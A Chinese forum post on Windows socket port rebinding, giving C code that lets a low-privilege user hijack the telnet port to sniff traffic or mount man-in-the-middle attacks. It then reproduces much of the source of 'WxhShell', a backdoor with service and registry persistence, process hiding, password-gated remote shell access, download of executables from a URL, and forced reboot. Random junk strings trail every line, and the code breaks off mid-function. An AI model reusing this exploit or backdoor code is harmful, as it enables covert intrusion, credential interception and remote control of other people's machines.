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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C:Hoq(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R+Y4|  
rD*sl}  
  saddr.sin_family = AF_INET; .w]GWL  
XP@1~$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8stwg'  
j\m_o% 4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _)\c&.p]f  
F4K0) ;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /Ml.}7&  
$ aUo aI  
  这意味着什么?意味着可以进行如下的攻击: 48Mpf=f`  
|O"lNUW   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :rg5Kt&  
C*`mM'#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uJ6DO#d`P  
CxfRV L`7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A\#iXOd  
]8T!qS(UJd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sVl-N&/  
Ps 8%J;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CP6LHkM9  
Qci4J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {uHU]6d3qy  
=KR NvW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @WI2hHD  
&9Xhl''  
  #include '{(UW.Awo  
  #include 0pbtH8~  
  #include ;g~TWy^o  
  #include    /r=tI)'$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~ {Mn{  
  int main() n(el]_d  
  { pZeE61c/  
  WORD wVersionRequested; }X=[WCK U  
  DWORD ret; ?yj6CL(,  
  WSADATA wsaData; I6Ce_|n ?k  
  BOOL val; "U\4:k`:  
  SOCKADDR_IN saddr; Jej` ;I  
  SOCKADDR_IN scaddr; _vZ"4L+Iw+  
  int err; AGbhJ=tB  
  SOCKET s; >$ e9igwe  
  SOCKET sc; ##4GK08!  
  int caddsize; 'z$Q rFW  
  HANDLE mt; 3JVK  
  DWORD tid;   4 M(-xl?  
  wVersionRequested = MAKEWORD( 2, 2 ); #H0dZ.$b0  
  err = WSAStartup( wVersionRequested, &wsaData ); 65Cg]Dt71  
  if ( err != 0 ) { R~ZFy0  
  printf("error!WSAStartup failed!\n"); mL4]l(U  
  return -1; Kh MSL  
  } _N@ro  
  saddr.sin_family = AF_INET; yUp,NfS]o  
   |M+<m">E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rs~wv('  
ObiT-D?)g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z"AQp _  
  saddr.sin_port = htons(23); rSJ9 v :  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [B|MlrZ  
  { M{*Lp6h  
  printf("error!socket failed!\n"); Uy$)%dYfq5  
  return -1; p1|f<SF')  
  } 7R\oj8[  
  val = TRUE; qcN'e.A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X#e1KZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MzL1Bh!M  
  { Cm\6tD  
  printf("error!setsockopt failed!\n"); @U2qD  J6  
  return -1; B4mR9HMh  
  } *;Ed*ibf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DrO2y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8:/e GM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /IM#.v  
DuOG {  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )'4k|@8|  
  { dS<C@(  
  ret=GetLastError(); 19j+lCSvH  
  printf("error!bind failed!\n"); 1+U  
  return -1; m`FN IY  
  } /, !B2  
  listen(s,2); kJ Mf  
  while(1) oDU ;E  
  { g2T -TG'd  
  caddsize = sizeof(scaddr); mzf+Cu:` v  
  //接受连接请求 FG) $y[*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !H}vu]R  
  if(sc!=INVALID_SOCKET) iV eC=^1  
  { (4Zts0O\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /\W Qx e  
  if(mt==NULL) 7K5P8N ,  
  { P`e!Z:  
  printf("Thread Creat Failed!\n"); 7Ddaf>  
  break; FGh] S-A  
  } N+y&,N,  
  } nVI! @qW  
  CloseHandle(mt); P [k$vD  
  } T"0,r $3:  
  closesocket(s); l!g]a2x*  
  WSACleanup(); $.[#0lCI  
  return 0; kVy\b E0o  
  }   a@0BBihz  
  DWORD WINAPI ClientThread(LPVOID lpParam) *7wAkljP  
  { =F;.l@:  
  SOCKET ss = (SOCKET)lpParam; .k0~Vh2u  
  SOCKET sc; A21N|$[  
  unsigned char buf[4096]; ](^(=%  
  SOCKADDR_IN saddr; Ix(><#P  
  long num; |H! 9fZO  
  DWORD val; #2EI\E&$  
  DWORD ret; !1G."fo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S!sqbLrBn  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $VxA0 =ad  
  saddr.sin_family = AF_INET; .({smN,B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?:L:EW8  
  saddr.sin_port = htons(23); mb!9&&2 -t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U\sHx68  
  { 8{Fsm;UsY  
  printf("error!socket failed!\n"); dH^<t,v  
  return -1; V.{H9n]IO  
  } ;jipe3LU  
  val = 100; J:kmqk!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \l@,B +)  
  { ($~RoQ=0S  
  ret = GetLastError(); Y)}Rb6qGW  
  return -1; w&x!,yd;  
  } Bdu&V*0g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZPD[5) ~  
  { Cj?L@%"  
  ret = GetLastError(); ~O1&@xX  
  return -1; NZ3/5%We/  
  } kGN+rHo   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "&%#!2  
  { h)Ff2tX  
  printf("error!socket connect failed!\n"); !0dNQ[$82  
  closesocket(sc); w/IZDMBf|  
  closesocket(ss); Vo"RO$%ow*  
  return -1; +|ycvHd  
  } _BDK`D  
  while(1) MXyaE~LK  
  { hsw9(D>jp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s\P2Bp_{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2^^=iU=!<|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ck /F9(  
  num = recv(ss,buf,4096,0); 2~t[RY  
  if(num>0)  ]$,UPR/3  
  send(sc,buf,num,0); >N.]|\V  
  else if(num==0) -@Uqz781  
  break; \2vg{  
  num = recv(sc,buf,4096,0); nO)X!dp}J  
  if(num>0) shMSN]S_x  
  send(ss,buf,num,0); A<B=f<N3gV  
  else if(num==0) 7k(Kq5w.  
  break; ?PyG/W  
  } eBJUv]o %  
  closesocket(ss); k{<,\J  
  closesocket(sc); ;-Jb1"5  
  return 0 ; +/ &_v^sC;  
  } "$}vP<SM  
o,P.& m{?  
qBT.x,$  
========================================================== %H+\>raLz  
b%Eei2Gm%  
下边附上一个代码,,WXhSHELL {b@KYR9K  
Glpe/At  
========================================================== D3x/OyG(  
q@jq0D)g  
#include "stdafx.h" t>uN'oCyC  
a<h1\ `H7  
#include <stdio.h> |qoKO:B4-[  
#include <string.h> /P 2[:[w  
#include <windows.h> )<xypDQ  
#include <winsock2.h> &< !Ufa&  
#include <winsvc.h> 2r 6'O6v  
#include <urlmon.h> $*W6A/%O  
~M(5Ho  
#pragma comment (lib, "Ws2_32.lib") 1=]kWp`i  
#pragma comment (lib, "urlmon.lib") 0Ld@H)  
 <Tot|R;  
#define MAX_USER   100 // 最大客户端连接数 -!\fpl{  
#define BUF_SOCK   200 // sock buffer )nd\7|5#  
#define KEY_BUFF   255 // 输入 buffer SnYLdwgl  
H&yD*@  
#define REBOOT     0   // 重启 XB[<;*Iz  
#define SHUTDOWN   1   // 关机 ZKdeB3D  
gp-T"l  
#define DEF_PORT   5000 // 监听端口 QL$S4 J"  
/QEiMrz@6  
#define REG_LEN     16   // 注册表键长度  ]@M5&  
#define SVC_LEN     80   // NT服务名长度 -uH#VP{0M  
8x[YZ@iM-  
// 从dll定义API $8crN$ye  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7jJbo]&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^`D=GF^tX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L.=w?%:H=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g5q$A9.Jl  
0W%@gs5d&  
// wxhshell配置信息 @p|$/Z%R,  
struct WSCFG { F]I=+T   
  int ws_port;         // 监听端口 ,Hgc-7g@Y  
  char ws_passstr[REG_LEN]; // 口令 Cz8f1suO4  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3.)b4T  
  char ws_regname[REG_LEN]; // 注册表键名 Zx$ol;Yd  
  char ws_svcname[REG_LEN]; // 服务名 W#Qmv^StZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EbZdas!l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SZ_V^UX_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1>Q'R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <vUVP\u~$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W8g' lqc|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ei2%DMN7)  
U/NBFc:[y:  
}; I_q~*/<h  
[>|FB'  
// default Wxhshell configuration >\!4Mk8  
struct WSCFG wscfg={DEF_PORT, DE IB!n   
    "xuhuanlingzhe", [0UGuj  
    1, 9Ok9bC'?8@  
    "Wxhshell", J4YBqp  
    "Wxhshell", ayBRWT0  
            "WxhShell Service", |0z;K:5s  
    "Wrsky Windows CmdShell Service", %5*@l vy  
    "Please Input Your Password: ", U'*t~x <  
  1, > MG>=A  
  "http://www.wrsky.com/wxhshell.exe", wdvLx  
  "Wxhshell.exe" "3F;cCDv]  
    }; /xJqJ_70X  
 LZ~"VV^  
// 消息定义模块 $M:3XAN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {w <+_++  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pZZf[p^s|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RL[E X5U  
char *msg_ws_ext="\n\rExit."; .O0O-VD+a  
char *msg_ws_end="\n\rQuit."; 9GdB#k6W`  
char *msg_ws_boot="\n\rReboot..."; 4m-I5!=O  
char *msg_ws_poff="\n\rShutdown..."; 8by@iQ  
char *msg_ws_down="\n\rSave to "; U,Mx@KdV  
D?M!ra  
char *msg_ws_err="\n\rErr!"; 0ji q-3V)  
char *msg_ws_ok="\n\rOK!"; ?U7) XvQ  
p#KW$OQ]8  
char ExeFile[MAX_PATH]; _P?\.W@  
int nUser = 0; A%\tiZe  
HANDLE handles[MAX_USER]; J`*iZvW#Bx  
int OsIsNt; 0L^u2HZYL  
\x >65;  
SERVICE_STATUS       serviceStatus; O3o: qly!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $t-n'Qh^2  
jtm?z c  
// 函数声明 #?B%Ja% ;W  
int Install(void); N:"C+ a(  
int Uninstall(void); u z\0cX_  
int DownloadFile(char *sURL, SOCKET wsh); q/1Or;iK  
int Boot(int flag); (.3'=n|kE  
void HideProc(void); CCDDK L]N:  
int GetOsVer(void); De_C F8  
int Wxhshell(SOCKET wsl); V#q}Wysft  
void TalkWithClient(void *cs); MP>n)!R[`  
int CmdShell(SOCKET sock); 8p1ziz`4>$  
int StartFromService(void); k8]O65t|  
int StartWxhshell(LPSTR lpCmdLine); /hv#CB>1x  
iK_c.b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OJb*VtZz5R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {I{:GcS  
AD('=g J  
// 数据结构和表定义 XUV!C 7  
SERVICE_TABLE_ENTRY DispatchTable[] = gBk5wk_j|  
{ W0cgI9=9  
{wscfg.ws_svcname, NTServiceMain}, :1 )DqoAJ  
{NULL, NULL} Wd(86idnc  
}; /b,TpuM^  
G&f7+e  
// 自我安装 YW; Hk1  
int Install(void) $A<ESfrs  
{ SJgY  
  char svExeFile[MAX_PATH]; &GWkq>  
  HKEY key; uM(UO,X  
  strcpy(svExeFile,ExeFile); (!?K7<Jv  
\0FT!} L  
// 如果是win9x系统,修改注册表设为自启动 Rn+4DcR  
if(!OsIsNt) { 'q%%m/,VPQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o!&W sD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F:37MUQi  
  RegCloseKey(key); ]qw0V   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eR!G[Cw-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,R wfp=*E  
  RegCloseKey(key); >[a<pm !  
  return 0; G\iyJSj[P  
    } +'03>!V  
  } K6pR8z*?  
} D>wZ0p b-  
else { R21~Q:b !  
-g`IH-B  
// 如果是NT以上系统,安装为系统服务 J^3H7 ]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v@u<Ww;=@  
if (schSCManager!=0) O%1/ r*  
{ q'(z #h,cv  
  SC_HANDLE schService = CreateService pvXcLR)L+3  
  ( ^i_Iqph=  
  schSCManager, }C(5-7  
  wscfg.ws_svcname, 3#.\  
  wscfg.ws_svcdisp, G5'_a$  
  SERVICE_ALL_ACCESS, W."f 8ow  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fUcLfnr  
  SERVICE_AUTO_START, d34Y'r  
  SERVICE_ERROR_NORMAL, et$uP  
  svExeFile, qSiWnN8D t  
  NULL, =ak7ld A=2  
  NULL, 9XV^z*E(J  
  NULL, (a{ZJI8_  
  NULL, >xd<YwXZ  
  NULL =l`OHTg  
  ); W8aU "_  
  if (schService!=0) Dl;d33  
  { KAb(NZK  
  CloseServiceHandle(schService); ,{<p  
  CloseServiceHandle(schSCManager); YL5>V$i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y @apJ;_R-  
  strcat(svExeFile,wscfg.ws_svcname); v:d9o.h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^ @.G,u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gq]d:-7l  
  RegCloseKey(key);  H+cNX\,  
  return 0; ` Q9+k<  
    } g#W_S?  
  } T{ -2fp8r[  
  CloseServiceHandle(schSCManager); 3eg5oAZ)G8  
} W^xZ+]  
} |f NMs  
|Cf mcz(56  
return 1; {j6g@Vd6lx  
} -i_En^Fi  
IL2r9x%  
// 自我卸载 lfy7w|  
int Uninstall(void) |< N frz  
{ NfF~dK|  
  HKEY key; elbG\qXBp  
d=e{]MG(  
if(!OsIsNt) { .C5@QKU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a c6*v49  
  RegDeleteValue(key,wscfg.ws_regname); ~Fx&)kegTo  
  RegCloseKey(key); xv0M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4r*Pa(;y  
  RegDeleteValue(key,wscfg.ws_regname); f9'] jJ+  
  RegCloseKey(key); 6q%ed UED  
  return 0; }aZr ou3E  
  } sb'p-Mj  
} _pSIJ3O  
} "=A|K~b  
else { B| Q6!  
0$2={s4ze  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K/Jk[29"\  
if (schSCManager!=0) KO-a; [/  
{ $Sb@zLi)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;c)! @GoA  
  if (schService!=0) @+dHF0aXd  
  { _0]QS4a][c  
  if(DeleteService(schService)!=0) { uL>:tb  
  CloseServiceHandle(schService); eycV@|6u*  
  CloseServiceHandle(schSCManager); jYdV?B  
  return 0; 8vJdf9pB*  
  } m"-G6BKS  
  CloseServiceHandle(schService); :r39wFi  
  } I*c;hfu  
  CloseServiceHandle(schSCManager); BkT-m'I?  
} Opry`}5h  
} CZfE |T~  
b"P&+c  
return 1; `Qq/ F]  
} s]bPV,"p  
AP ;*iyQ[  
// 从指定url下载文件 ~R{8.!: >  
int DownloadFile(char *sURL, SOCKET wsh) NUu;tjt:  
{ LR\zy8y]  
  HRESULT hr; :A*0]X;  
char seps[]= "/"; qT 0_L  
char *token; YZ*{^'  
char *file; qvTJ>FILT  
char myURL[MAX_PATH]; lWlUWhLnP  
char myFILE[MAX_PATH]; jZ/+~{<  
0s!N@ ,T  
strcpy(myURL,sURL); ux&:Rw\  
  token=strtok(myURL,seps); ) MBS  
  while(token!=NULL) "VQ|E d  
  { M8Juykw  
    file=token; gA:[3J,[;  
  token=strtok(NULL,seps); 1 mHk =J~  
  } pVz pN8!  
tnL."^%A2I  
GetCurrentDirectory(MAX_PATH,myFILE); 1g81S_T .  
strcat(myFILE, "\\"); gA"<MI'y  
strcat(myFILE, file); +{Gw9h"5g*  
  send(wsh,myFILE,strlen(myFILE),0); O3&|}:<  
send(wsh,"...",3,0); <O bHf`Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M1gP R  
  if(hr==S_OK) X{'wWWZC  
return 0; &%}6q]e  
else V7n >,k5  
return 1; <THUsY`3P&  
xiJz`KD&  
} V^ Y*xZ  
[>wzl"cHW  
// 系统电源模块 Pzptr%{  
int Boot(int flag) W60Q3  
{ x{2o[dK4}  
  HANDLE hToken; 1{7_ `[  
  TOKEN_PRIVILEGES tkp; =<>pKQ)[  
j aD!  
  if(OsIsNt) { -Y2&A$cM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v0u\xX[H;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !`Xt8q\r  
    tkp.PrivilegeCount = 1; h^v9|~ZJ'7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hOl=W |)v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `:R-[>5P8  
if(flag==REBOOT) { F\Y,JUn[G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |zb`&tv}  
  return 0; sxt`0oE  
} R;.d/U|av  
else { 9g4QVo|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jvWI_Fto  
  return 0; LEA;dSf  
} &E`9>&~J  
  } 8`DO[Z  
  else { pB[%:w/@l:  
if(flag==REBOOT) { .oEFX8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EuLXtq  
  return 0; +=Yk-nJ  
} G tG&yeB  
else { :(+]b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b%<164i  
  return 0;  srvYAAE  
} q?1yE@th  
} :"y0oCu7`W  
OM1*Iy  
return 1; F1E. \l  
} *|@+rbjVC  
_,t&C7Yf;  
// win9x进程隐藏模块 BjwMb&a;  
void HideProc(void) ?C FS}v  
{ TJE% U0Ln  
{$3j/b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  JUmw$u  
  if ( hKernel != NULL ) Ko]QCLL  
  { 4VC/-.At  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9armirfV'P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;Sy/N||  
    FreeLibrary(hKernel); zU=YNrn  
  } Th_Q owk  
oEN)Dw o  
return; p|b+I"M  
} vT&j{2U7XW  
TS/Cp{  
// 获取操作系统版本 ~@[(U!G  
int GetOsVer(void) 9=H}yiJz  
{ r+SEw ;  
  OSVERSIONINFO winfo; 'n>EEQyp'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `D4oAx d9  
  GetVersionEx(&winfo); `!]R!T@C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4n#YDZ  
  return 1; >7"$}5d  
  else "^Y6ctw  
  return 0; IU7$%6<Y  
} `Fz\wPd  
&3jBE --  
// 客户端句柄模块 Lf[G>0t&n  
int Wxhshell(SOCKET wsl) !-F^VGD(8  
{ 7 kEx48  
  SOCKET wsh; Oi6f8*,  
  struct sockaddr_in client; h=!M6yap<  
  DWORD myID; : x>I- 3G  
P"oYC$  
  while(nUser<MAX_USER) f<'n5}{RO0  
{ a$~IQ2$|6  
  int nSize=sizeof(client); E(7@'d{o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B:B8"ODV  
  if(wsh==INVALID_SOCKET) return 1; B{[f}h.n  
R|nEd/' <  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~?2rGE  
if(handles[nUser]==0) #Tup]czO  
  closesocket(wsh); /A %om|+Gq  
else bELIRM9  
  nUser++; 71JM [2  
  } )3BR[*u*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =X)Q7u".7  
,Le&I9*%  
  return 0; A Z]P+v  
} -08&&H  
(Nm}3p  
// 关闭 socket aJEbAs}  
void CloseIt(SOCKET wsh) e$ThSh\+(  
{ tx2Vyu  
closesocket(wsh); dDsjPM;2  
nUser--; mrK,Ql  
ExitThread(0); i_[^s:*T  
} #;wkr))  
Uzan7A  
// 客户端请求句柄 /'R UA  
void TalkWithClient(void *cs) DZ%g^DRZX  
{ nYI/&B{p  
oq=?i%'>  
  SOCKET wsh=(SOCKET)cs; 9`)w@-~~  
  char pwd[SVC_LEN]; + 9F^F>mu  
  char cmd[KEY_BUFF]; NFrNm'v  
char chr[1]; A2}Z *U(;  
int i,j; ) j{WeG7L  
%bCcsdK  
  while (nUser < MAX_USER) { %KbBH:z05  
t-.2 +6"\  
if(wscfg.ws_passstr) { qf_h b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *37LN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "bHtf_  
  //ZeroMemory(pwd,KEY_BUFF); ~AEqfIx*^&  
      i=0; k7:GS,7  
  while(i<SVC_LEN) { &&]"Y!r -  
=-OCM*5~S  
  // 设置超时 t}5'(9  
  fd_set FdRead; ,:0Q1~8  
  struct timeval TimeOut; %E4$ZPSW  
  FD_ZERO(&FdRead); 2neF<H?^o  
  FD_SET(wsh,&FdRead); >P<k[vF  
  TimeOut.tv_sec=8; Ymwx (Pm  
  TimeOut.tv_usec=0; Sf+(1_^`t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zF[3%qZE:T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bs<WH`P  
Y{%4F%Oy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Nwyx;>9^K  
  pwd=chr[0]; w JapGc!   
  if(chr[0]==0xd || chr[0]==0xa) { GVjv** U  
  pwd=0; g_rA_~dh  
  break; e8~62O^  
  } 9f@#SB_H  
  i++; 5QqJ I#4~  
    } kGB#2J  
()+jrrK  
  // 如果是非法用户,关闭 socket W /~||s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hN>('S-cq  
} ^BF@j4*~  
wc<2Uc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]7#^])>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9s;!iDFn  
xHM&csL  
while(1) { M3ecIVm8(  
ir?Uw:/f  
  ZeroMemory(cmd,KEY_BUFF); }vXA`)Ns  
1Y H4a|bc  
      // 自动支持客户端 telnet标准   N:UDbLjw~  
  j=0; fl pXVtsQ  
  while(j<KEY_BUFF) { b9W<1eqF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); syWv'Y[k?  
  cmd[j]=chr[0]; ;a!h.8UJPI  
  if(chr[0]==0xa || chr[0]==0xd) { m~= ]^e  
  cmd[j]=0; DuTlYXM2^  
  break;  2.HZ+1  
  } 'U|MM;(  
  j++; D{,[\^c  
    } *@\?}cX  
XPc9z}/(e  
  // 下载文件 Z4wrXss~  
  if(strstr(cmd,"http://")) { o*O "\/pmF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OH-~  
  if(DownloadFile(cmd,wsh)) ~>Hnf_pZO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C }h<ldlY  
  else # `N6<nb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q5?rp|7D  
  } HKEop  
  else { !#@4xeBPo  
1cHSgpoJ  
    switch(cmd[0]) { %S(#cf!HP  
  $>S}acuC  
  // 帮助 C*W.9  
  case '?': { 9sfB+]}h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \dp9@y[^  
    break; yZj}EBa  
  } ;qT!fuN;  
  // 安装 )|{1&F1  
  case 'i': { UtW"U0A  
    if(Install()) c{]r{FAx9o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &9RW9u "  
    else e-Ybac%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6g~o3  
    break; i-i}`oN  
    }  MrKU,-  
  // 卸载 |mQtjo  
  case 'r': { )"pxry4v7J  
    if(Uninstall()) ery?G-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZZ]OR;8  
    else @MlU!oR&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <WHs  
    break; 9d,]_l.sB  
    } m>Z\ rqOK  
  // 显示 wxhshell 所在路径 Ul$X%  
  case 'p': { =}%#$  
    char svExeFile[MAX_PATH]; pb/{ss+  
    strcpy(svExeFile,"\n\r"); ZVL- o<6  
      strcat(svExeFile,ExeFile); 0w'y#U)&8  
        send(wsh,svExeFile,strlen(svExeFile),0); 5ykk11!p$  
    break; TY54e T  
    } JT.\f,z&  
  // 重启 vs'L1$L'c  
  case 'b': { SSL%$:l@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Pw^c2TQ  
    if(Boot(REBOOT)) Ye\*b? 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {g!exbVf  
    else { `:bvuc(  
    closesocket(wsh); #v~S",*.f  
    ExitThread(0); z`xz~9a<  
    } "j.oR}s9?#  
    break; z2s|.M]&-D  
    } <mo^Y k3  
  // 关机 H(%] Os  
